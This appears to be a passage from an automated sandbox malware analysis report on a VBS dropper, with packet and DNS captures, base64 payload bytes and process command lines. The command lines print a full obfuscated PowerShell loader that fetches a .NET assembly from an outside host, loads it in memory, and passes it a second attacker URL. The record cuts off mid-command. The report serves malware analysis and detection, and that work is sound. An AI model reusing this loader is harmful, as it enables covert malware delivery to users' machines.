Oct 2, 2024 05:22:10.109858036 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.110456944 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.110481977 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.110564947 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.110572100 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.110630035 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.111608982 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.111632109 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.111694098 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.111701012 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.111761093 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.111761093 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.112838030 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.112862110 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.112926006 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.112931967 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.112947941 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.112979889 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.113677979 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.113708973 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.113769054 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.113775969 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.113888025 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.113888025 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.114150047 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.114171982 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.114224911 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.114231110 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.114279032 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.114315033 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.114510059 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.114605904 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.114605904 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:10.114671946 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.117316008 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:10.228540897 CEST	49731	80	192.168.2.4	134.255.227.248
Oct 2, 2024 05:22:10.233402014 CEST	80	49731	134.255.227.248	192.168.2.4
Oct 2, 2024 05:22:10.233515978 CEST	49731	80	192.168.2.4	134.255.227.248
Oct 2, 2024 05:22:10.233584881 CEST	49731	80	192.168.2.4	134.255.227.248
Oct 2, 2024 05:22:10.238544941 CEST	80	49731	134.255.227.248	192.168.2.4
Oct 2, 2024 05:22:31.579555035 CEST	80	49731	134.255.227.248	192.168.2.4
Oct 2, 2024 05:22:31.579693079 CEST	49731	80	192.168.2.4	134.255.227.248
Oct 2, 2024 05:22:31.594821930 CEST	49731	80	192.168.2.4	134.255.227.248
Oct 2, 2024 05:22:31.595359087 CEST	49738	80	192.168.2.4	134.255.227.248
Oct 2, 2024 05:22:31.600475073 CEST	80	49731	134.255.227.248	192.168.2.4
Oct 2, 2024 05:22:31.601633072 CEST	80	49738	134.255.227.248	192.168.2.4
Oct 2, 2024 05:22:31.601728916 CEST	49738	80	192.168.2.4	134.255.227.248
Oct 2, 2024 05:22:31.601824045 CEST	49738	80	192.168.2.4	134.255.227.248
Oct 2, 2024 05:22:31.607845068 CEST	80	49738	134.255.227.248	192.168.2.4
Oct 2, 2024 05:22:53.007821083 CEST	80	49738	134.255.227.248	192.168.2.4
Oct 2, 2024 05:22:53.007896900 CEST	49738	80	192.168.2.4	134.255.227.248
Oct 2, 2024 05:22:53.008021116 CEST	49738	80	192.168.2.4	134.255.227.248
Oct 2, 2024 05:22:53.012967110 CEST	80	49738	134.255.227.248	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 05:22:06.912852049 CEST	52600	53	192.168.2.4	1.1.1.1
Oct 2, 2024 05:22:07.061912060 CEST	53	52600	1.1.1.1	192.168.2.4
Oct 2, 2024 05:22:37.034461021 CEST	53	53214	162.159.36.2	192.168.2.4
Oct 2, 2024 05:22:37.523178101 CEST	49781	53	192.168.2.4	1.1.1.1
Oct 2, 2024 05:22:37.530242920 CEST	53	49781	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 05:22:06.912852049 CEST	192.168.2.4	1.1.1.1	0xb999	Standard query (0)	ia600100.us.archive.org	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:22:37.523178101 CEST	192.168.2.4	1.1.1.1	0xed3d	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 05:22:07.061912060 CEST	1.1.1.1	192.168.2.4	0xb999	No error (0)	ia600100.us.archive.org		207.241.227.240	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:22:37.530242920 CEST	1.1.1.1	192.168.2.4	0xed3d	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

ia600100.us.archive.org

134.255.227.248

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	134.255.227.248	80	7052	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 05:22:10.233584881 CEST	84	OUT	GET /xampp/kb/KNORKK.txt HTTP/1.1 Host: 134.255.227.248 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	134.255.227.248	80	7052	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 05:22:31.601824045 CEST	84	OUT	GET /xampp/kb/KNORKK.txt HTTP/1.1 Host: 134.255.227.248 Connection: Keep-Alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	207.241.227.240	443	7052	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:22:07 UTC	109	OUT	GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1 Host: ia600100.us.archive.org Connection: Keep-Alive
2024-10-02 03:22:07 UTC	606	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Wed, 02 Oct 2024 03:22:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2823512 Last-Modified: Wed, 11 Sep 2024 23:50:18 GMT Connection: close ETag: "66e22cba-2b1558" Strict-Transport-Security: max-age=15724800 Expires: Wed, 02 Oct 2024 09:22:07 GMT Cache-Control: max-age=21600 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With Access-Control-Allow-Credentials: true Accept-Ranges: bytes
2024-10-02 03:22:07 UTC	15778	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 42 6f 43 42 62 6f 41 41 41 41 41 41 41 41 41 41 4f 41 41 44 69 45 4c 41 54 41 41 41 45 59 67 41 41 41 49 41 41 41 41 41 41 41 41 76 6d 55 67 41 41 41 67 41 41 41 41 67 43 41 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABoCBboAAAAAAAAAAOAADiELATAAAEYgAAAIAAAAAAAAvmUgAAAgAAAAgCAAAABAAAAgAAAAAgA
2024-10-02 03:22:08 UTC	16384	IN	Data Raw: 41 41 41 50 34 4d 45 77 42 46 41 67 41 41 41 41 55 41 41 41 41 31 41 41 41 41 4f 41 41 41 41 41 41 41 45 51 4d 52 46 78 45 49 63 35 73 46 41 41 5a 76 63 51 41 41 43 69 41 42 41 41 41 41 66 73 55 49 41 41 52 37 42 51 6b 41 42 44 6e 4a 2f 2f 2f 2f 4a 69 41 41 41 41 41 41 4f 4c 37 2f 2f 2f 38 41 41 4e 30 66 41 41 41 41 49 41 49 41 41 41 42 2b 78 51 67 41 42 48 73 53 43 51 41 45 4f 73 6e 36 2f 2f 38 6d 49 41 41 41 41 41 41 34 76 76 72 2f 2f 78 45 44 62 79 73 41 41 41 6f 57 50 6f 38 41 41 41 41 67 41 51 41 41 41 48 37 46 43 41 41 45 65 77 73 4a 41 41 51 36 6e 66 72 2f 2f 79 59 67 41 51 41 41 41 44 69 53 2b 76 2f 2f 45 67 63 6f 63 41 41 41 43 68 4d 49 49 41 55 41 41 41 42 2b 78 51 67 41 42 48 76 30 43 41 41 45 4f 6e 58 36 2f 2f 38 6d 49 41 59 41 41 41 41 34 61 Data Ascii: AAAP4MEwBFAgAAAAUAAAA1AAAAOAAAAAAAEQMRFxEIc5sFAAZvcQAACiABAAAAfsUIAAR7BQkABDnJ////JiAAAAAAOL7///8AAN0fAAAAIAIAAAB+xQgABHsSCQAEOsn6//8mIAAAAAA4vvr//xEDbysAAAoWPo8AAAAgAQAAAH7FCAAEewsJAAQ6nfr//yYgAQAAADiS+v//EgcocAAAChMIIAUAAAB+xQgABHv0CAAEOnX6//8mIAYAAAA4a
2024-10-02 03:22:08 UTC	16384	IN	Data Raw: 2f 2f 2f 77 41 52 42 47 39 49 49 77 41 47 62 33 51 41 41 41 6f 54 42 53 41 46 41 41 41 41 4f 44 48 2f 2f 2f 38 41 4f 4e 73 41 41 41 41 67 43 41 41 41 41 44 67 45 41 41 41 41 2f 67 77 4d 41 45 55 67 41 41 41 41 4f 51 49 41 41 47 34 43 41 41 42 61 41 51 41 41 66 51 41 41 41 4d 73 43 41 41 43 4d 41 51 41 41 46 41 45 41 41 4a 77 44 41 41 43 55 41 41 41 41 41 51 4d 41 41 4c 77 41 41 41 41 57 41 41 41 41 33 41 49 41 41 4d 63 42 41 41 43 6a 41 51 41 41 53 67 49 41 41 41 55 41 41 41 43 62 41 67 41 41 58 67 41 41 41 49 45 42 41 41 41 38 41 51 41 41 61 77 45 41 41 42 30 44 41 41 44 38 41 41 41 41 66 77 49 41 41 4f 30 42 41 41 44 68 41 41 41 41 53 77 45 41 41 44 51 41 41 41 42 46 41 41 41 41 49 51 41 41 41 42 4d 43 41 41 41 34 4e 41 49 41 41 42 45 49 4f 6a 30 44 41 Data Ascii: ///wARBG9IIwAGb3QAAAoTBSAFAAAAODH///8AONsAAAAgCAAAADgEAAAA/gwMAEUgAAAAOQIAAG4CAABaAQAAfQAAAMsCAACMAQAAFAEAAJwDAACUAAAAAQMAALwAAAAWAAAA3AIAAMcBAACjAQAASgIAAAUAAACbAgAAXgAAAIEBAAA8AQAAawEAAB0DAAD8AAAAfwIAAO0BAADhAAAASwEAADQAAABFAAAAIQAAABMCAAA4NAIAABEIOj0DA
2024-10-02 03:22:08 UTC	16384	IN	Data Raw: 38 52 43 53 68 31 41 67 41 47 62 7a 49 6a 41 41 59 52 43 57 2f 47 49 67 41 47 4b 48 59 43 41 41 5a 76 4d 69 4d 41 42 69 68 30 41 67 41 47 45 77 38 67 43 51 41 41 41 48 37 46 43 41 41 45 65 38 49 49 41 41 51 36 7a 50 37 2f 2f 79 59 67 44 51 41 41 41 44 6a 42 2f 76 2f 2f 45 51 49 54 41 79 41 49 41 41 41 41 2f 67 34 4b 41 44 69 72 2f 76 2f 2f 4f 42 73 42 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 37 4d 49 41 41 51 36 6c 76 37 2f 2f 79 59 67 41 41 41 41 41 44 69 4c 2f 76 2f 2f 45 51 45 67 70 30 47 63 33 79 41 44 41 41 41 41 59 79 42 63 44 35 4f 49 59 58 37 46 43 41 41 45 65 38 51 49 41 41 52 68 4b 46 51 43 41 41 59 6f 59 77 49 41 42 68 4d 43 49 42 34 41 41 41 41 34 56 2f 37 2f 2f 78 45 48 4f 6c 6f 42 41 41 41 67 43 67 41 41 41 48 37 46 43 41 41 45 65 Data Ascii: 8RCSh1AgAGbzIjAAYRCW/GIgAGKHYCAAZvMiMABih0AgAGEw8gCQAAAH7FCAAEe8IIAAQ6zP7//yYgDQAAADjB/v//EQITAyAIAAAA/g4KADir/v//OBsBAAAgAAAAAH7FCAAEe7MIAAQ6lv7//yYgAAAAADiL/v//EQEgp0Gc3yADAAAAYyBcD5OIYX7FCAAEe8QIAARhKFQCAAYoYwIABhMCIB4AAAA4V/7//xEHOloBAAAgCgAAAH7FCAAEe
2024-10-02 03:22:08 UTC	16384	IN	Data Raw: 41 41 4f 4d 37 38 2f 2f 38 52 41 54 6b 71 2f 66 2f 2f 49 41 63 41 41 41 42 2b 78 51 67 41 42 48 76 6b 43 41 41 45 4f 72 50 38 2f 2f 38 6d 49 41 49 41 41 41 41 34 71 50 7a 2f 2f 77 41 41 41 52 41 41 41 41 49 41 71 77 44 35 70 41 46 33 41 41 41 41 41 43 5a 2b 6f 51 41 41 42 42 54 2b 41 53 6f 41 41 42 70 2b 6f 51 41 41 42 43 6f 41 4b 76 34 4a 41 41 42 76 5a 51 41 41 43 69 6f 41 4b 76 34 4a 41 41 42 76 54 51 41 41 43 69 6f 41 4c 67 44 2b 43 51 41 41 4b 50 77 6c 41 41 59 71 4c 67 44 2b 43 51 41 41 4b 4c 45 45 41 41 59 71 4b 76 34 4a 41 41 42 76 2b 51 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 2b 41 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 45 43 4d 41 42 69 6f 41 4c 67 44 2b 43 51 41 41 4b 43 55 42 41 41 6f 71 48 67 41 6f 73 41 51 41 42 69 70 4b 2f 67 6b 41 41 Data Ascii: AAOM78//8RATkq/f//IAcAAAB+xQgABHvkCAAEOrP8//8mIAIAAAA4qPz//wAAARAAAAIAqwD5pAF3AAAAACZ+oQAABBT+ASoAABp+oQAABCoAKv4JAABvZQAACioAKv4JAABvTQAACioALgD+CQAAKPwlAAYqLgD+CQAAKLEEAAYqKv4JAABv+QIABioAKv4JAABv+AIABioAKv4JAABvECMABioALgD+CQAAKCUBAAoqHgAosAQABipK/gkAA
2024-10-02 03:22:08 UTC	16384	IN	Data Raw: 6f 49 41 41 51 36 59 50 2f 2f 2f 79 59 67 43 41 41 41 41 44 68 56 2f 2f 2f 2f 4f 47 30 41 41 41 41 67 42 77 41 41 41 48 37 46 43 41 41 45 65 37 67 49 41 41 51 36 50 50 2f 2f 2f 79 59 67 42 41 41 41 41 44 67 78 2f 2f 2f 2f 41 41 49 6f 43 77 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 75 67 67 41 42 44 6b 57 2f 2f 2f 2f 4a 69 41 42 41 41 41 41 4f 41 76 2f 2f 2f 38 41 49 49 66 62 73 78 73 67 6d 4f 66 75 4f 6c 67 67 64 4f 74 35 55 57 46 2b 78 51 67 41 42 48 73 43 43 51 41 45 59 53 67 37 41 77 41 47 4b 44 77 44 41 41 5a 36 42 47 39 67 41 41 41 4b 46 79 68 76 41 77 41 47 45 77 49 67 42 67 41 41 41 48 37 46 43 41 41 45 65 37 30 49 41 41 51 36 77 66 37 2f 2f 79 59 67 43 51 41 41 41 44 69 32 2f 76 2f 2f 41 41 51 55 2f 67 45 54 41 53 41 44 41 41 41 41 4f Data Ascii: oIAAQ6YP///yYgCAAAADhV////OG0AAAAgBwAAAH7FCAAEe7gIAAQ6PP///yYgBAAAADgx////AAIoCwMABiACAAAAfsUIAAR7uggABDkW////JiABAAAAOAv///8AIIfbsxsgmOfuOlggdOt5UWF+xQgABHsCCQAEYSg7AwAGKDwDAAZ6BG9gAAAKFyhvAwAGEwIgBgAAAH7FCAAEe70IAAQ6wf7//yYgCQAAADi2/v//AAQU/gETASADAAAAO
2024-10-02 03:22:08 UTC	16384	IN	Data Raw: 41 41 4f 4b 37 2f 2f 2f 38 52 41 44 70 2f 41 41 41 41 49 41 51 41 41 41 41 34 6e 66 2f 2f 2f 78 45 43 4f 71 49 41 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 38 4d 49 41 41 51 36 67 76 2f 2f 2f 79 59 67 41 41 41 41 41 44 68 33 2f 2f 2f 2f 41 41 49 6f 70 41 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 76 67 67 41 42 44 70 63 2f 2f 2f 2f 4a 69 41 44 41 41 41 41 4f 46 48 2f 2f 2f 38 41 4b 67 41 44 46 43 69 79 41 77 41 47 45 77 41 67 42 51 41 41 41 44 67 37 2f 2f 2f 2f 4f 44 41 41 41 41 41 67 43 41 41 41 41 50 34 4f 41 51 41 34 4a 50 2f 2f 2f 77 41 67 4a 47 76 43 36 53 41 58 47 50 4f 77 59 58 37 46 43 41 41 45 65 38 41 49 41 41 52 68 4b 4b 30 44 41 41 59 6f 73 51 51 41 42 6e 6f 43 65 37 4d 41 41 41 51 54 41 69 41 48 41 41 41 41 4f 50 54 2b 2f Data Ascii: AAOK7///8RADp/AAAAIAQAAAA4nf///xECOqIAAAAgAAAAAH7FCAAEe8MIAAQ6gv///yYgAAAAADh3////AAIopAMABiACAAAAfsUIAAR7vggABDpc////JiADAAAAOFH///8AKgADFCiyAwAGEwAgBQAAADg7////ODAAAAAgCAAAAP4OAQA4JP///wAgJGvC6SAXGPOwYX7FCAAEe8AIAARhKK0DAAYosQQABnoCe7MAAAQTAiAHAAAAOPT+/
2024-10-02 03:22:08 UTC	16384	IN	Data Raw: 4d 41 41 41 45 6f 38 67 4d 41 42 69 6a 7a 41 77 41 47 45 78 51 67 42 51 41 41 41 48 37 46 43 41 41 45 65 78 49 4a 41 41 51 36 42 65 66 2f 2f 79 59 67 41 51 41 41 41 44 6a 36 35 76 2f 2f 41 41 4b 6c 6c 51 41 41 41 58 4f 4d 41 51 41 4b 6a 4a 63 41 41 41 45 54 41 79 41 67 41 41 41 41 4f 4e 33 6d 2f 2f 38 41 45 51 48 51 43 67 41 41 41 53 6a 79 41 77 41 47 4b 50 4d 44 41 41 59 54 48 79 41 4b 41 41 41 41 4f 4c 2f 6d 2f 2f 38 34 73 4f 2f 2f 2f 79 41 4c 41 41 41 41 66 73 55 49 41 41 52 37 33 77 67 41 42 44 71 6d 35 76 2f 2f 4a 69 42 4a 41 41 41 41 4f 4a 76 6d 2f 2f 38 34 32 50 72 2f 2f 79 42 32 41 41 41 41 4f 49 7a 6d 2f 2f 38 41 41 6d 38 6c 41 41 41 4b 4b 4b 49 41 41 41 6f 6f 41 41 51 41 42 6f 79 57 41 41 41 42 45 77 4d 67 44 77 41 41 41 50 34 4f 4c 67 41 34 59 Data Ascii: MAAAEo8gMABijzAwAGExQgBQAAAH7FCAAEexIJAAQ6Bef//yYgAQAAADj65v//AAKllQAAAXOMAQAKjJcAAAETAyAgAAAAON3m//8AEQHQCgAAASjyAwAGKPMDAAYTHyAKAAAAOL/m//84sO///yALAAAAfsUIAAR73wgABDqm5v//JiBJAAAAOJvm//842Pr//yB2AAAAOIzm//8AAm8lAAAKKKIAAAooAAQABoyWAAABEwMgDwAAAP4OLgA4Y
2024-10-02 03:22:08 UTC	16384	IN	Data Raw: 45 41 41 41 42 2b 78 51 67 41 42 48 76 71 43 41 41 45 4f 53 37 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 49 2f 2f 2f 2f 77 41 54 4d 41 51 41 52 67 41 41 41 4d 73 41 41 42 45 41 41 67 4d 45 4b 50 30 42 41 41 6f 41 41 6e 76 38 41 51 41 4b 4f 68 67 41 41 41 41 44 46 6a 38 52 41 41 41 41 41 77 49 6f 2f 67 45 41 43 76 34 43 46 76 34 42 4f 41 45 41 41 41 41 57 43 67 59 35 45 41 41 41 41 41 41 43 65 2f 51 42 41 41 6f 44 42 47 2f 65 41 51 41 4b 41 41 41 71 41 41 41 54 4d 41 51 41 6c 51 45 41 41 41 51 41 41 42 45 67 41 77 41 41 41 50 34 4f 41 41 41 34 41 41 41 41 41 50 34 4d 41 41 42 46 43 77 41 41 41 4b 77 41 41 41 43 48 41 41 41 41 30 77 41 41 41 4f 49 41 41 41 42 55 41 41 41 41 4b 51 41 41 41 41 55 41 41 41 42 45 41 41 41 41 47 67 45 41 41 50 51 41 41 41 43 71 41 Data Ascii: EAAAB+xQgABHvqCAAEOS7///8mIAEAAAA4I////wATMAQARgAAAMsAABEAAgMEKP0BAAoAAnv8AQAKOhgAAAADFj8RAAAAAwIo/gEACv4CFv4BOAEAAAAWCgY5EAAAAAACe/QBAAoDBG/eAQAKAAAqAAATMAQAlQEAAAQAABEgAwAAAP4OAAA4AAAAAP4MAABFCwAAAKwAAACHAAAA0wAAAOIAAABUAAAAKQAAAAUAAABEAAAAGgEAAPQAAACqA
2024-10-02 03:22:08 UTC	16384	IN	Data Raw: 41 44 41 6e 74 45 41 67 41 4b 2f 67 51 4c 42 7a 6b 67 41 41 41 41 41 41 4a 37 52 51 49 41 43 67 4d 43 65 30 55 43 41 41 6f 44 46 31 67 43 65 30 51 43 41 41 6f 44 57 53 6a 51 41 51 41 4b 41 41 41 43 65 30 55 43 41 41 6f 44 42 4b 51 31 41 41 41 62 41 67 4a 37 52 41 49 41 43 68 64 59 66 55 51 43 41 41 6f 71 41 41 41 54 4d 41 4d 41 54 77 41 41 41 41 4d 42 41 42 45 41 41 6e 74 45 41 67 41 4b 43 6a 67 75 41 41 41 41 41 41 59 58 57 51 6f 43 65 30 55 43 41 41 6f 47 6f 7a 55 41 41 42 75 4d 4e 51 41 41 47 77 4f 4d 4e 51 41 41 47 2f 34 42 43 77 63 35 43 41 41 41 41 41 41 47 44 44 67 54 41 41 41 41 41 41 59 57 2f 67 49 4e 43 54 72 48 2f 2f 2f 2f 46 51 77 34 41 41 41 41 41 41 67 71 41 42 4d 77 41 77 41 74 41 41 41 41 62 41 41 41 45 51 41 43 41 79 6a 47 41 51 41 4b 43 Data Ascii: ADAntEAgAK/gQLBzkgAAAAAAJ7RQIACgMCe0UCAAoDF1gCe0QCAAoDWSjQAQAKAAACe0UCAAoDBKQ1AAAbAgJ7RAIAChdYfUQCAAoqAAATMAMATwAAAAMBABEAAntEAgAKCjguAAAAAAYXWQoCe0UCAAoGozUAABuMNQAAGwOMNQAAG/4BCwc5CAAAAAAGDDgTAAAAAAYW/gINCTrH////FQw4AAAAAAgqABMwAwAtAAAAbAAAEQACAyjGAQAKC

Target ID:	0
Start time:	23:22:03
Start date:	01/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ZJbugHcHda.vbs"
Imagebase:	0x7ff610240000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:22:03
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:22:03
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:22:05
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $shEllId[1]+$SHElLiD[13]+'x') ( ('xPiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/De'+'tahNoteV'+'.txtsk'+'r;xPi'+'ba'+'se'+'64Co'+'n'+'te'+'nt = ('+'New-Obje'+'ct S'+'ystem.'+'Net.WebC'+'li'+'ent).'+'Downl'+'oadStrin'+'g(xPiurl);'+'xP'+'i'+'binary'+'Conte'+'nt = [Syst'+'em.Convert]::FromB'+'a'+'se64S'+'trin'+'g(xPi'+'base64Conte'+'n'+'t);xPias'+'sembly ='+' [Reflec'+'t'+'i'+'on.Assembly'+']:'+':L'+'oad('+'xPibin'+'ar'+'yContent);xP'+'ity'+'pe = x'+'Pias'+'sem'+'b'+'ly.Ge'+'tTyp'+'e(skr'+'Ru'+'nP'+'E.Homeskr'+');xPi'+'me'+'thod = xPity'+'pe.GetMet'+'ho'+'d('+'skrVAIskr'+');xP'+'i'+'method'+'.Inv'+'oke(xPinull'+','+' 